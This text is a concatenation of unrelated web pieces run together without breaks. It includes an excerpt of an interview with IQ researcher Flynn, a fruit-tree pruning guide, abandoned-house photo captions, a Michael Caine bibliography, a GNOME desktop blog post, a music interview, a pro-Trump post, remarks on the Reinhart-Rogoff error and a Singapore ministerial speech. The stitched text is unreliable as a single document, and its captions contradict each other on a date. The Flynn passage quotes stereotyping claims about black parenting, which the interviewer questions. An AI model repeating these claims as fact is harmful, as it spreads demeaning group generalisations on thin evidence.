This is hugely sensitive territory because, while it may be good to say genes don’t make people stupid, it isn’t so good to tell anyone their way of life does. Flynn, however, makes no apologies. “It’s whites, not blacks, who complain,” he says. “Blacks know the score. Facts are facts.” On recorded IQ tests, he says, African Americans have persistently lagged behind [pdf] most other ethnicities in America [pdf] (including, according to some commentators, black immigrants from, for example, the Caribbean) and this cannot be explained by the Flynn effect since, as he puts it, “blacks don’t live in a time warp”.
He then tells what sounds like a version of those dodgy jokes about the Irishman, the Scotsman and the Englishman. Except this isn’t a joke. “Go to the American suburbs one evening,” says Flynn, “and find three professors. The Chinese professor’s kids immediately do their homework. The Jewish professor’s kids have to be yelled at. The black professor says: ‘Why don’t we go out and shoot a few baskets?’”
As I emit a liberal gasp, he continues: “The parenting is worse in black homes, even when you equate them for socio-economic status. In the late 1970s, an experiment took 46 black adoptees and gave half to black professional families and half to white professionals with all the mothers having 16 years of education. When their IQs were tested at eight-and-a-half, the white-raised kids were 13.5 IQ points ahead. The mothers were asked to do problem-solving with their children. Universally, the blacks were impatient, the whites encouraging. Immediate achievement is rewarded in black subculture but not long-term achievement where you have to forgo immediate gratification.”
America's schools are still segregated by race and class. That has to end | Bobby Scott Read more
He tells me of research showing that “when American troops occupied Germany at the end of the second world war, black soldiers left behind half-black children and white soldiers left behind all-white. By 11, the two groups had identical average IQs. In Germany, there was no black subculture.”
Flynn refuses to speculate about the lingering effects of slavery and subsequent discrimination that have prevented African Americans from entering colleges and professional careers. Universities, he thinks, should do more research on racial differences and a new version of that 1970s study. “I have shown – this wicked person who actually looks at the evidence – that blacks gained 5.5 IQ points on whites between 1972 and 2002. There’s been no changes in family structure [the incidence of single-parent families], no gains in income. I suspect it’s an improvement in parenting. But I can’t prove it.”
I leave that sunlit garden in a troubled frame of mind. Flynn has made a great contribution to human knowledge and understanding. But he hasn’t settled the nature-against-nurture debate – and I wonder if he is now muddying the waters, constructing theories about parenting from flimsy evidence.What is Backyard Orchard Culture?
The objective of Backyard Orchard Culture is a prolonged harvest of tree-ripe fruit from a small space in the yard. This is accomplished by planting an assortment of fruit trees close together and keeping them small by summer pruning.
Backyard Orchard Culture Is Not Commercial Orchard Culture
For years, most of the information about growing fruit came from commercial orchard culture: methods that promoted maximum size for maximum yield but required 12-foot ladders for pruning, thinning and picking, and 400 to 600 square feet of land per tree. Tree spacing had to allow for tractors.
Most people today do not need nor expect commercial results from their backyard fruit trees. A commercial grower would never consider using his methods on a 90 ft. x 100 ft. parcel, so why should a homeowner?
Backyard Orchard Culture Is High Density Planting And Successive Ripening
The length of the fruit season is maximized by planting several (or many) fruit varieties with different ripening times.
Because of the limited space available to most homeowners, this means using one or more of the techniques for close-planting and training fruit trees; two, three or four trees in one hole, espalier, and hedgerow are the most common of these techniques.
Four trees instead of one means ten to twelve weeks of fruit instead of only two or three.
Close-planting offers the additional advantage of restricting a tree's vigor. A tree won't grow as large when there are competing trees close by. Close-planting works best when rootstocks of similar vigor are planted together.
As a four-in-one-hole planting, for example, four trees on Citation rootstock would be easier to maintain than a combination of one tree on Lovell, one on Mazzard, one on Citation, and one on M-27.
In many climates, planting more varieties can also mean better cross-pollination of pears, apples, plums and cherries, which means more consistent production.
Backyard Orchard Culture Means Accepting The Responsibility For Tree Size
Small trees yield crops of manageable size and are much easier to spray, thin, prune, net and harvest than large trees.
If trees are kept small, it is possible to plant a greater number of trees in a given space, affording the opportunity for more kinds of fruit and a longer fruit season.
Most semi-dwarfing rootstocks do not control fruit tree size as much as most people expect.
Rootstocks can help to improve fruit tree soil and climate adaptation, pest and disease resistance, precocity (heavier bearing in early years), longevity, and ease of propagation in the nursery.
To date, no rootstocks have been developed which do all these things plus fully dwarf the scion.
Pruning is the only way to keep most fruit trees under twelve feet tall.
The most practical method of pruning for size control is summer pruning.
Tree size is the grower's responsibility.
Choose a size and don't let the tree get any bigger. A good height is the height you can reach for thinning and picking while standing on the ground or on a low stool.
Two other important influences on tree size are irrigation and fertilization practices. Fruit trees should not be grown with lots of nitrogen and lots of water. Some people grow their fruit trees the way they grow their lawn, then wonder why the trees are so big and don't have any fruit!
Backyard Orchard Culture Means Understanding The Reasons For Pruning
It's much easier to keep a small tree small than it is to make a large tree small.
Most kinds of deciduous fruit trees require pruning to stimulate new fruiting wood, remove broken and diseased wood, space the fruiting wood and allow good air circulation and sunlight penetration in the canopy.
Pruning is most important in the first three years, because this is when the shape and size of a fruit tree is established.
Pruning at the same time as thinning the crop is strongly recommended.
By pruning when there is fruit on the tree, the kind of wood on which the tree sets fruit (one year-old wood, two year-old wood, spurs, etc.) is apparent, which helps you to make better pruning decisions.
Backyard Orchard Culture Means Summer Pruning For Size Control.
There are several reasons why summer pruning is the easiest way to keep fruit trees small. Reducing the canopy by pruning in summer reduces photosynthesis (food manufacture), thereby reducing the capacity for new growth. Summer pruning also reduces the total amount of food materials and energy available to be stored in the root system in late summer and fall. This controls vigor the following spring, since spring growth is supported primarily by stored foods and energy. And, for many people, pruning is more enjoyable in nice weather than in winter, hence more likely to get done.
Backyard Orchard Culture Means Not Being Intimidated By Planting Or Pruning
Fruit tree planting and pruning needn't be complicated or confusing. When planting, be aware of air circulation. This is important for minimizing disease problems. Check drainage. If poor-draining soil is suspected, consider a raised bed to protect the trees from starving for oxygen when the soil is water-logged. Up to four trees can be planted in a 4x4 foot bed raised at least 12 inches above the surrounding soil. For more trees, shape a larger bed to fit the available space.
Pruning in Backyard Orchard Culture is simple. When planting a bareroot tree, cut side limbs back by at least two-thirds to promote vigorous new growth. Next, two or three times per year, cut back or remove limbs and branches to accomplish the following:
First year
At planting time, most bare root trees may be topped as low as 15 inches above the ground to force very low scaffold limbs or, alternatively, trees may be topped higher than 15 inches (up to four feet) depending on the presence of well-spaced side limbs or desired tree form. After the spring flush of growth cut the new growth back by half (late April/early May in central Calif.). In late summer (late August to mid-September) cut the subsequent growth back by half. Size control and development of low fruiting wood begin in the first year.
The main exceptions to the low-cut recommendation above are large caliper bare root peach and nectarine trees (3/4" up), which sometimes do not push new limbs from low on the trunk. Especially when these trees are not fully dormant, they should be topped higher initially, just above any existing lower limbs or at about 28 inches if no lower limbs are present. Once new growth has begun, height may be reduced further.
When selecting containerized trees for planting in late spring/early summer, select trees with well-placed low scaffold limbs. These are usually trees that were cut back when potted to force low growth. Cut back new growth by half now, and again in late summer.
Two, Three or Four trees in one hole
At planting time, plant each tree 18 to 24 inches apart. Cut back all trees to the same height.
Cut back new growth by half in spring and late summer as above. In the first two years especially, cut back vigorous varieties as often as necessary (very important!).
Do not allow any variety to dominate and shade out the others.
Plant each grouping of 3 or 4 trees in one hole at least 18 inches apart (between closest trees) to allow for adequate light penetration and good air circulation.
Hedgerow plantings: easiest to maintain when spaced at least three feet apart. Make sure the placement of the hedgerow does not block air circulation and light for other plantings.
To conserve water and stabilize soil moisture: apply at least a 4-inch layer of mulch up to 4 feet from a single tree or from the center of a two-, three-, or four-trees-in-one-hole planting.
Second year
Cut back new growth by half in spring and late summer, same as the first year.
Pruning three times may be the easiest way to manage some vigorous varieties: spring, early summer and late summer.
Single-tree plantings: prune to vase shape (open center, no central leader). Multi-plantings:thin out the center to allow plenty of sunlight into the interior of the group of trees.
All: remove broken limbs. Remove diseased limbs well below signs of disease.
Third year
Choose a height and don't let the tree grow any taller.
Tree height is the decision of the pruner. Whenever there are vigorous shoots above the chosen height, cut back or remove them. Each year, in late spring/early summer, cut back all new growth by at least half.
The smaller one-, two-, and three-year-old branches that bear the fruit should have at least six inches of free space all around. This means that where two branches begin close together and grow in the same direction, one should be removed.
When limbs cross one another, one or both should be cut back or removed.
When removing large limbs, first saw part way through the limb on the under side ahead of your intended cut. Do this so it won't tear the trunk as it comes off. Also, don't make the final cut flush with the trunk or parent limb; be sure to leave a collar (a short stub).
Apricots will require more pruning in the summer to control height. Prune as needed (2 to 3 times in the summer) to remove excessive growth. Be careful not to cut too much at one time, as this might cause excess sun exposure and sunburn to the unprotected interior limbs.
To develop an espalier, fan, or other two-dimensional form, simply remove everything that doesn't grow flat. Selectively thin and train what's left to space the fruiting wood.
Don't let pruning decisions inhibit you or slow you down. There are always multiple acceptable decisions - no two people will prune a tree in the same way. You learn to prune by pruning!
For further advice consult your nursery professional.
___________________________________________________________________________
Backyard Orchard Culture Begins With Summer Pruning!
Smaller trees are easier to spray, prune, thin, net and harvest! With small trees, it's possible to have more varieties that ripen at different times. The easiest way to keep trees small is by summer pruning. There are lots of styles, methods and techniques of summer pruning; most of them are valid. The important thing is to prune!
Backyard Orchard Culture Means Knowing Your Nursery Professional
The concepts and techniques of Backyard Orchard Culture are learned and implemented year by year. An integral part of Backyard Orchard Culture is knowing your nursery professionals and consulting them when you have questions.
Backyard Orchard Culture Is The Pride Of Accomplishment
A definite sense of accomplishment and satisfaction derives from growing your own fruit. There is a special pleasure in growing new varieties, in producing fruit that is unusually sweet and tasty, in providing an assortment of fruit over a months-long season, and in sharing tree-ripe fruit with others. These are the rewards of learning and experimenting with new cultural practices and techniques as you become an accomplished backyard fruit grower.
ULTIMUS DICTUM
There's no excuse for neglected trees, maintenance undone or lack of know-how. Backyard Orchard Culture is an attitude: Just Do It!
Last edit 12-19-18That 70s House – Abandoned Ontario Time Capsule House
When it comes to Abandoned Houses the term abandoned time capsule house gets tossed around quite loosely in recent years so I don’t like using that to describe the abandoned places I explore, however this one is pretty damn close. Just about every room is still fully furnished and the living room looks just as it did the last day the previous owners had left it.
Old snot green carpet and that same couch that everyones parents and grandparents had in their basement or living room. The basement of this house is entirely flooded and the paint on the walls has started to peel. In the kitchen of this abandoned time capsule house is a calendar that is still open to the date July 1995, Houses like this one are a very rare find and I’m quite happy to have had the opportunity to explore another one of these gems.
Inside what i’m calling “That 70’s house” is a kitchen complete with a fully stocked cabinet full of trinkets, the legs on the table are broken, the cupboards were still full with old food and dishes.
Upstairs in the attic was a sewing station and sewing accessories were found along with several other interesting antiques and all kinds of womans clothes, an old TV, and old camera and dozens of other unique and interesting items.
Inside this almost entirely in tact abandoned house in Ontario, Canada. This is in the living room still furnished as it was the day they left. The basement of this house is entiely flooded and the paint on the walls has started to peel. www.freaktography.com www.instagram.com/freaktography An opposite view of the living room posted in yesterdays photo of this abandoned house that is stuck in the 1970’s. Houses like this one are a very rare find and I’m quite happy to have had the opportunity to explore another one of these gems. www.instagram.com/freaktography www.freaktography.com An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 Self Portrail of Freaktography Urban Exploring Photographer inside an abandoned house from ontario canada. An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 Inside what i’m calling “That 70’s house” is this kitchen complete with a fully stocked cabinet full of trinkets. The legs on the table are broken, the cupboards were still full with old food and dishes. An abandoned time capsule house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An old derelict house in ontario canada that is stuck in the 1970’s. This sewing station and accessories were found in the attoc level, along with several other interesting antiques. www,instagram.com/freaktography www.freaktography.com A derelict house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An old and vacant house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned time capsule house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 My full gallery is now up on my website from this rare and unique abandoned house that I recently visited. Visit my facebook page to see the gallery, or visit this link: https://www.freaktography.com/70s-house-abandoned-ontario-time-capsule-house/ An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996 An abandoned house in ontario canada that is stuck in the 1970’s. The calendar on the wall is dated july 1996
My Second Visit to the Abandoned 70’s House
An old chair left in the kitchen inside an abandoned house in southwestern Ontario. On my second visit to this house I wanted to capture some new angles and details. You can see much more from this house at https://www.freaktography.com/70s-house-abandoned-ontario-time-capsule-house/ You can also check out www.instagram.com/freaktography to follow me there In an old abandoned house in southwestern Ontario, I found this old green suitcase upstairs in the attic. Sadly, it was empty and nothing interesting was found inside. On my second visit to this house I wanted to capture some new angles and details. You can see much more from this house at https://www.freaktography.com/70s-house-abandoned-ontario-time-capsule-house/ You can also check out www.instagram.com/freaktography to follow me there The highlight of this old abandoned house was this green lamp and chair found in the living room. On my second visit to this house I wanted to capture some new angles and details. You can see much more from this house at https://www.freaktography.com/70s-house-abandoned-ontario-time-capsule-house/ Also check out www.instagram.com/freaktography Does a photo of a doorknob really need a caption?? On my second visit to this house I wanted to capture some new angles and details. You can see much more from this house at https://www.freaktography.com/70s-house-abandoned-ontario-t…/ You can also check out www.instagram.com/freaktography to follow me there A close up detail shot of an old television in an abandoned ontario time capsule house. On my second visit to this house I wanted to capture some new angles and details. You can see much more from this house at https://www.freaktography.com/70s-house-abandoned-ontario-time-capsule-house/ You can also check out www.instagram.com/freaktography to follow me there Here is something a bit for fancy than we’re used to around here. I went back to this abandoned house a few weeks back to capture some different details and angles and this is one of the shots I captured. This is an old television that sits in the attic of the house, I wish this house had power, I would have loved to plug it in and see if it worked. How do you like the fancy detail stuff? I have more if you like it! Make sure you’re following me on Instagram at www.instagram.com/freaktography I’v also got lots of stuff if you ned to kill time on my website at www.freaktography.com Finally, if you want to help me out with a big road |
a BAFTA Academy Fellowship Award.[96]
In 2008, Caine was awarded the prize for Outstanding Contribution to Showbusiness at the Variety Club Awards.[97] On 5 January 2011 he was made a Commander of the Ordre des Arts et des Lettres by France's culture minister, Frédéric Mitterrand.[98] In May 2012, Caine was awarded the Honorary Freedom of the London Borough of Southwark as a person of distinction and eminence of the borough.[99]
Bibliography [ edit ]
Acting guides [ edit ]
Acting in Film: An Actor's Take on Moviemaking (Applause Theatre Book Publishers, 1990 (revised ed. 1997)) ISBN 9781557832771
Memoirs [ edit ]
Trivia [ edit ]
Not Many People Know That: Michael Caine's Almanac of Amazing Information (Random House, 1984) ISBN 9780860512981
(Random House, 1984) ISBN 9780860512981 And Not Many People Know This Either! (Robson Books, 1985) ISBN 9780860513452The mission: use GNOME Shell as the primary desktop for an entire week. Do I choose to accept it? Yes. It's easy enough to try something for a short time and discard it in a negative manner, which has been the case for me with GNOME Shell in the past, but perhaps it can be fun to challenge yourself to try something properly and for a longer time. Or perhaps you're a masochist! Either way, feel free to join me...
Naturally I'm talking from the point of view of someone who doesn't often use GNOME Shell and/or finds it difficult to adjust to the way that GNOME Shell makes you work on the desktop. There's no doubt many people out there who, while not as vocal as some of the GNOME 3/Shell detractors, happily use GNOME on a day-to-day basis and enjoy doing so. And that's great.
My recent article on the Unity desktop and some of responses I received got me thinking: I saw Unity (Unity 7, anyway) as being quite improved and found it to be very usable, while others still find it quite horrid and cannot adjust to it. I realised this has often been my experience with GNOME Shell. While I wouldn't call it "horrid", I've never quite adjusted to the workflow and found it to feel very awkward and lacking in certain features.
But still, with every new release of GNOME, I find myself checking it out at least for an hour or so. Why? I guess I find it's overall design and goals to be fascinating, even if I don't always like what I see, and I always like to see what has improved (or not so).
But still, I cannot quite "get" the overall workflow or system that GNOME Shell tries to create. Hence for this GNOME Shell Challenge.
My recently installed GNOME installation
The Setup
I'm running GNOME 3.12.2 from the rhughes copr repository on Fedora 20 "Heisenbug".
Fedora 20 ships with GNOME 3.10 out of the box but I'm a sucker for the latest and greatest and I had heard some good things about GNOME 3.12. I also chose Fedora as the distribution to run simply as, besides the fact I do like Fedora in general, it always seems to be one of the more "pure" GNOME distros.
The system I am running is my faithful portable companion (even if it can be a love/hate relationship! It's the same computer I talked about in my Linux-unfriendly laptop article.), the Sony Vaio VPCEE26FG laptop.
The specifications are as follows:
AMD Athlon(tm) II P320 Dual-Core Processor × 2
4GB RAM
RV710/M92 [Mobility Radeon HD 5145] GPU
As you would see in the image above, I have already utilized a couple of GNOME extensions, such as the Places extension and Dash to Dock. I was a bit conflicted internally as to whether to allow the use of extensions in the challenge, but since the extensions seem to be a big part of GNOME Shell usage nowadays, I figure it's fine as long as most of the Shell is intact.
The Challenge
The challenge is simple: use GNOME Shell as the absolute primary desktop for at least an entire week. We're talking about my general computing experience being solely in GNOME Shell and making good use of GNOME applications, although I'll happily use my usual primary apps as well. The focus is very much on the shell itself.
There's an argument I've seen out there, somewhere out in the internet, that a desktop that you have to adjust to or pour hours into understanding is, well, doing something wrong. That argument is probably not without merit, but at the same time, I like to think myself open-minded. So, at the very least, I really want to try to "get" GNOME Shell and really use it for a decent amount of time, even if I still come away from the experience finding it's not my cup of tea. On the other hand, I may love it. Who knows?
I will document my experience with The GNOME Shell Challenge as I go along. Not exactly day-by-day, as I don't think there would be enough to really write about plus my computing routine is probably extremely boring to most of you, but there will an update here and there as the week goes on. Of course, at the very end of the challenge I will write a conclusion to my experience and final thoughts.
You can join the challenge too! Why not try something a bit different or do something you mightn't normally do? Or maybe you could even have a challenge of your own, on an entirely different desktop environment of your choice. And of course, I would gladly welcome any comments or links to your blog articles on your experience during the challenge.
Let's make it a little more interesting... and helpful!
If you don't feel like doing the challenge yourself or want to have a little bit of fun, I'm going to spice things up a little bit.
For every donation, however big or small, made to the GNOME Foundation, my GNOME Shell Challenge will be extended by two days.
You may wonder why I would suggest donating to GNOME, with some of the views I have expressed. But while I may (as of this writing) have no great love for GNOME Shell itself, doesn't mean that the underlying GNOME libraries and programs aren't good. Besides, how can GNOME improve without some sort of support? So I figure it is one way to make things a little interesting while also helping with Free Software. Or perhaps you would simply like to increase my (potential) pain!
If you donate, simply email me proof of your donation (with your personal bits blanked/left out, of course) and I will update my relevant articles reflecting the change in my Challenge duration.
If you have any ideas how this could be done better or differently, don't hesitate to let me know. Otherwise, the Challenge shall proceed as it is.
_Follow The Linux Rain for more updates on the GNOME Shell challenge as well as other Linux/FOSS content. You can subscribe to our RSS feed, follow us on Twitter or find us on Google+_.Danl Goodman and Ian Johnson collectively make up the duo gLAdiator, who over the past few months have been delivering all sorts of turnt up booty dropping tracks. Based out of the City of Angeles the pair reps their city hard, even paying homage to the "LA" initials in their name. Some people have been calling their style a "warpath, rocking crowds and creating robot sex music." Pulling from electro, trap, hip-hop and moombahton, they have formulated a very unique sound with the hopes of appealing to all kinds of musical preferences. I had some time to pick these guys brains and find out some interesting fun facts about them. They also were kind enough to make an exclusive November mix for Earmilk. Check the interview below and be sure to check out the November mix. What better way to sweat off that Thanksgiving meal?
EARMILK: Hello Boys! Glad we can finally do this. So tell me how’s it going over on the West Coast?
gLAdiator: Oh, you know, just ballin' out of control, as per usual, stacking paper to the ceiling.
EM: Where did the moniker come from?
gLA: Our friend David came up with the name gLAdiator when we use to be a trio, we were all different characters from the movie “Gladiator.” It also conveniently has the letters 'LA' in it, so it was perfect.
EM: In your own words, how would you describe your sound?
gLA: "LA Based Music Incarnate"
EM: How did you two meet? Did you have solo projects before gLAdiator?
gLA: We went to high school together. Took a brief hiatus from balling out of control (see above) to go to different colleges and pursue "education" so we could get "real jobs" lol.Stanford Millennial for Trump
tkcard Blocked Unblock Follow Following Oct 5, 2016
About Me
Trump supporter
Stanford grad
Millennial
Female
Non-white
There are probably a few out there, but I personally don’t know any fellow Cardinal who are publicly pro-Trump. My Facebook wall is a liberal echo chamber full of HuffPo, Vox, and NYTimes articles bashing Trump and his supporters. One of my former classmates actually wrote a post looking for a Trump supporter to have a conversation with because he didn’t know of any pro-Trump friends.
I don’t (yet?) have the courage to do this with my name attached so I’m remaining anonymous, but I want to show that at least one Stanford-educated millennial wants to Make America Great Again. (I was a Computer Science major so excuse the writing.)
It’s the easiest thing to be a critic, but much harder to stand for something. Much respect to those openly supporting Trump.Several people have asked me to comment on the coding error found in one of the Reinhart-Rogoff papers. I have avoided the topic, since I don't think I have a lot to add to the discussion. But because so many people have asked, here are a few observations:1. Everybody makes mistakes. I once made an analytic error in one of my published papers and, after it was pointed out to me, subsequently wrote a correction published version ). Finding and correcting errors is a part of the research process. Sure, errors are embarrassing, but there is nothing dishonorable about making them.2. Policy should not be based on the results of a single study. And my experience is that it never is.3. I believe that high levels of debt and deficits are a negative for the economy in the long run. My views on this issue have not changed substantially since I wrote about it with Larry Ball almost twenty years ago.4. I never thought there was a magic threshold for the debt-to-GDP ratio above which all hell breaks loose. The world is more continuous than that.5. The coding error in Reinhart and Rogoff has gotten a lot more media attention than it deserves. Some people on the opposite side of the policy debate have taken advantage of this opportunity to pound the drum for their views. But just because someone in Team A makes an inadvertent excel error does not mean that everything Team B believes is true. To suggest otherwise would be a truly egregious mistake.Speech By Minister Ong Ye Kung, Minister for Education (Higher Education and Skills) and Second Minister for Defence at the 2017 Administrative Service Dinner
SPEECH BY MINISTER ONG YE KUNG AT ADMINISTRATIVE SERVICE DINNER, 6 APRIL 2017
Principles of Public Service Innovation
DPM Teo, DPM Tharman
Ministers
Chairman PSC Mr Eddie Teo
Head Civil Service Mr Peter Ong
Friends, colleagues, ladies and gentlemen
1 Thank you for inviting me here tonight. It is a great pleasure to see so many friends and former colleagues tonight.
2 Later, DPM Tharman will be speaking on the contributions of Mr Niam Chiang Meng who retired last year, and Ms Lim Soo Hoon who is retiring at the end of this month. But given that both were my former colleagues, let me first add a personal word of appreciation to them. Both of them taught me good lessons which you are not aware of.
3 I worked with Niam when he was CEO HDB while I was in then DPM Lee’s office. HDB was undergoing a major restructuring exercise at that time.
4 As for Soo Hoon, I got to know her literally on my first day of work, at the then Ministry of Communications. I was Deputy Director at Ministry of Communications HQ and she was the Registrar of Vehicles. At that time, land transport was the hottest subject because of policies like COE and ERP.
5 Both of them had held hot seats, in operational units. The experience of working with public service leaders like them helped me learn quickly that as a staff officer at headquarters, my job was to support the ground generals at the operational departments – to help them get their job done, including redefining the rules when necessary. This was an important lesson to me as a new civil servant during my formative years.
6 In other words, my job description involved a lot more than what a court eunuch had to offer. I am sure over the years, most of our staff officers who are worth their salt learned the same lesson.
Tradition of Public Service Innovation
7 The Prime Minister recently appointed me as the Minister to champion Public Service innovation, which is why I am speaking here tonight.
8 Innovation is a longstanding tradition of the public service. We have been blessed with a strong pioneering spirit – which practical men and women with dare and imagination have lived up to, even when they ran against “conventional wisdom” and against the odds.
9 We built up a world class airport when we had no domestic traffic; offered public housing which was owned, not rented, to the great majority of Singaporeans; added lush greenery to our city in a garden; and expanded our technical and applied education pathways when the rest of the world was moving towards the academic.
10 If our Public Service had been Silicon Valley, we would have created many unicorns. Behind every project was a team of people who believed in the cause.
Ensuring the Pioneering Spirit Lives On
11 We have been called upon to be pioneers of the next generation. But our situation today is different from the past in two distinct ways.
12 One – the Public Service has grown in size and complexity. In the earlier years of nation building, the public service was much smaller and the imperative was simple and clear – we needed to survive.
13 But when we grow in size, it becomes harder to replicate such successes, as things are now more complex and uncertain. There is less headroom to improve, and the path ahead fraught with competing considerations, each important in its own right, but none having the overriding imperative of survival.
14 We have to accept the situation as it is, as complexity in public policy cannot be wished away. But a complex environment should not mean complex or unpredictable policies. We have to make clear choices even in complex situations, and communicate them even more clearly.
15 A second major difference is that the tools of technology are different. We are still in the middle of an IT revolution, brought about by the Internet and the miniaturisation of computers, robots and sensors. This alone can drastically reconfigure our processes and how services are delivered.
16 And so we are confronted with a classic challenge faced by many organisations. The opportunities for big and life-changing transformations are as relevant as ever, but how do we ensure that our organisational DNA can evolve with the times and thrive in this new environment?
17 We see private sector organisations grappling with this challenge too. When Apple first came out with the iPhone, it was a revolutionary product – edgy, non-mainstream, with a certain cache. It has nothing to lose. Now as a tech giant, Apple’s subsequent versions of iPhones tend to generate much less excitement. It has a base to defend now.
18 To tackle this challenge, we can learn from the many principles that have served us well. Today, I will talk about four of them which I hope will endure.
Principle 1: Innovation is Bottom-Up
19 First, innovation is by nature bottom up. Even if Government comes up with a grand and bold plan, it is bottom up ideas and actions that give substance to the plan to make it successful.
Be Open Minded
20 This means that Government, even with the most well thought out plan, must be prepared to rethink and to adapt.
21 Last year, LTA called a tender for an operator to run a bicycle sharing programme, to bridge the first and last mile in public transport. The conventional wisdom then was that such schemes needed some Government support and funding in order to be sustainable. But then other bike sharing companies like ofo, Mobike and oBike – they entered the market and they had a different concept.
22 The market had evolved and provided a solution that required no government funding, and LTA wisely adapted and decided not to award the tender. Things will happen without plan nor permission.
Suspending Judgement in a Regulatory Sandbox
23 In this regard, public agencies will need to master the technique of using regulatory sandboxes, to create an environment where regulations can be relaxed within parameters, so that experiments can take place with limited risks.
24 MAS has been applying this tool judiciously in FinTech. For instance, in March this year, it created a sandbox for PolicyPal. A company called Policy Pal. It is a digital application to help users organise and identify possible gaps in their insurance coverage.
25 The sandbox enables PolicyPal to test their technology and algorithm within a limited number of transactions in over six months.
26 The sandbox is not just an excuse for agencies to issue a temporary permit, but an exercise of smart regulation. For MAS, this first exercise was an intensive one. Lots of tos and fros and iterations. But it will no doubt get better and more efficient.
Procurement
27 The principle of embracing bottom up initiatives extends to Government procurement.
28 The Committee for Future Economy conducted extensive consultation in the course of its work, and one major feedback from entrepreneurs was that Government as a reference buyer can play a big part in encouraging innovation and enterprise.
29 They are not asking for special favours, but the way projects are structured and procured can determine whether an SME or a small start-up have a fighting chance.
30 This is a point I very much agree with. The public interest in procurement is value for money, and that must mean level competition between tried, tested, reliable players as well as new players, smaller companies, start-ups, with fresh ideas and solutions.
31 There are agencies which have honed this into an art. SCDF took an outcome-based approach in preparing tender specifications. This has enabled a young company called Technik to develop the Red Rhino, a fit for purpose Light Fire Attack Vehicle that has served our Home Team well.
32 The Defence Science and Technology Agency has developed 21 specialised domains in procurement. Contracts involving system integration, off-the-shelf solutions, strategic sourcing for indigenous capabilities, full scale development of systems, buying of commodities – all involve different techniques and approaches in procurement.
33 We will find ways to transfer such knowhow and best practices throughout the public service.
34 On the opposite end of procurement, small purchases by Ministries and agencies play a big role in encouraging enterprise too. More people are freelancing, starting micro businesses, offering services from photography and web design, to catering and event organisation.
35 Today, the procurement rules of MOF already allow small purchases below $5,000 to be awarded without tender or three quotes.
36 Some ministries are tapping on such flexibility for a variety of small purchases. But I sense that within most Ministries and agencies the internal rules are probably much stricter.
37 We should encourage the management within each public service organisation to exercise this flexibility fully, and responsibly. It will open up opportunities for many freelancers and micro businesses. At the same time, the Government benefits from more ideas, more players and more competition.
38 MOF will take the lead in this effort.
Principle 2: Optimise at the National Level
39 The second principle to support innovation is to optimise our decisions and actions at the national level. No one will disagree with that, but it is not easy to put into practice.
40 This is because for projects and issues that cut across agencies, an initiative may make eminent sense for one agency, but not for the rest.
41 Every agency has its own mandate, for which it is allocated headcounts, budgets, resources, policy controls, and decision rights that go all the way up to the Minister. It is not straight forward for an agency to devote resources to support an issue that is not in its mandate, or even compromises its mandate.
42 The concept of Whole-of-Government is to encourage agencies to work through the trade-offs and try to optimise the costs and benefits at the national level. But there are inherent risks in such an inter-agency process, as you all will know.
43 We can spend too much time on consensus-building, and we end up achieving very little. Optimisation can become a euphemism for the lowest common denominator, or compromises that actually sub-optimise. As the joke goes, if you ask a committee to build a horse, it will come up with a camel, although it still has four legs.
44 Like it or not, when it comes to inter-agency issues, we simply need wise and strong leadership – both at the political and civil service levels – that articulates the objectives, identifies and decides the trade-offs, and implements the changes. I do not have a template for success but we have seen successful examples.
A Driven Common Purpose
45 One example is Kampung Admiralty. It is an integrated development in Woodlands that brings together the services of several agencies, with facilities for all ages, from an Active Aging Hub to a childcare centre.
46 It worked because MND took the lead to drive through the vision of a vertical Kampung, and HDB undertook to own and manage this integrated facility.
Sun, Water and Power
47 Recently, a challenging inter-agency issue cropped up. It concerns PUB and EDB wanting to experiment with installing floating solar panels at Tengeh Reservoir.
48 What PUB really hopes for is to use this cheaper and cleaner energy at their water treatment plants in different parts of Singapore. Or transmit to next door, nearby facilities like the Tuas Checkpoint.
49 This project enables PUB to make use of idle water surfaces to generate clean energy. In a similar vein, HDB today, already uses solar panels on the rooftops of our housing estates to power the common areas of HDB blocks. So why not?
50 But the project encountered a few snags. First, installing solar panels would change the land use, or rather water use, and will attract rental cost. Because our policy, which is a correct policy, is that if state assets are used for commercial purposes, we must charge market rental so that there is no hidden subsidy. But rental will obviously undermine the viability of the project, even before the implementers could try it, to see if it is viable.
51 Second snag, there is a concern about equity in infrastructure cost recovery. What are these? Let me explain. There is the cost of the national power grid, and also reserve generation capacity in case there is a disruption. These costs today, are recovered through a component in the tariffs of electricity purchased from the energy market.
52 So, all consumers on mainland Singapore – including those that tap on clean energy - are users of these infrastructure services. So when PUB sells clean energy across the fence to Tuas Checkpoint, the national grid will be bypassed, and these users will avoid paying their share of the infrastructure costs that is built into the electricity tariff. Other consumers end up having to bear the cost. So at the heart of this concern is equity in public policy.
53 Existing policies are there for good reasons. But when technology and circumstances change, we also need to intervene actively to adapt existing policies.
54 So, on rental of water space, there is no previous tender to determine a market price. Because this is an innovation to make use of idle water surfaces, there is also no alternate economic use to compute opportunity cost. Determining market rental is therefore not very practical – at least from an economist’s point of view. Hence MOF and SLA are now working to facilitate a solution.
55 On equity in cost recovery, there could be other ways, such as paying a fee or a toll, and not necessarily through electricity tariffs from public markets, for Tuas Checkpoint or PUB to pay their fair share of the infrastructure costs.
56 The more fundamental point arising from this issue, which can inform our considerations for future innovation projects, is this:
57 As technology advances and Singaporeans become more entrepreneurial, many Government assets, whether tangible and intangible – water surface, land surface, rooftops, data, our brand name, our education curriculum – can generate economic value.
58 If we are too eager to socialise the resulting economic gains, we will kill innovation. Some of these assets are not even assets, until innovation makes them so. So not every innovation needs to go behind a Government paywall.
